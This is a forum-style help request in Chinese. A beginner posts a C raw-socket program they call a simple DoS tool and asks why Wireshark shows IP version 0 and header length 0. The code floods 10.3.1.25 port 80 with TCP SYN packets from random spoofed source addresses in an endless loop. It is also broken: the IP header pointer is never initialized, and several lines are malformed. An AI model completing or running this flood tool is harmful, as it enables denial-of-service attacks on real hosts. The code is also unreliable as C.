我是Linux C的新手,尝试制作一个关于制作IP数据包的程序,它就像一个简单的DoS工具。当我完成代码时,我捕获了数据包并使用 Wireshark 分析了数据包,IP 版本是0
,标头长度0
也是。为什么会这样。
我没有添加校验和部分。
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <strings.h>
#include <fcntl.h>
#include <sys/types.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>
int main(int argc, char **argv[])
{
char buffer[100];
struct sockaddr_in addr;
struct ip *ip;
struct tcphdr *tcp;
int head_len,sockfd, on = 1;
head_len = sizeof (struct ip) + sizeof (struct tcphdr);
bzero(buffer,100);
addr.sin_family = AF_INET;
addr.sin_port = htons(80);
addr.sin_addr.s_addr = inet_addr("10.3.1.25");
sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
setsockopt(sockfd,IPPROTO_IP, IP_HDRINCL, &on,sizeof(on));
ip->ip_v = IPVERSION;
ip->ip_hl = sizeof(struct ip)>>2;
ip->ip_tos = 0;
ip->ip_len = htons(head_len);
ip->ip_id = 0;
ip->ip_off = 0;
ip->ip_ttl = 255;
ip->ip_p = IPPROTO_TCP;
ip->ip_src.s_addr = random();
ip->ip_dst = addr.sin_addr;
tcp = (struct tcphdr *)(buffer + sizeof(struct ip));
tcp->source = htons(8888);
tcp->dest = addr.sin_port;
tcp->seq = random();
tcp->ack_seq = 0;
tcp->doff = 5;
tcp->syn = 1;
tcp->check = 0;
setuid(getpid());
sizeof(struct tcphdr());
printf("phase 3 ok\n");
while (1)
{
if(sendto (sockfd, buffer, head_len, 0, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) < 1)
printf("error");
}
}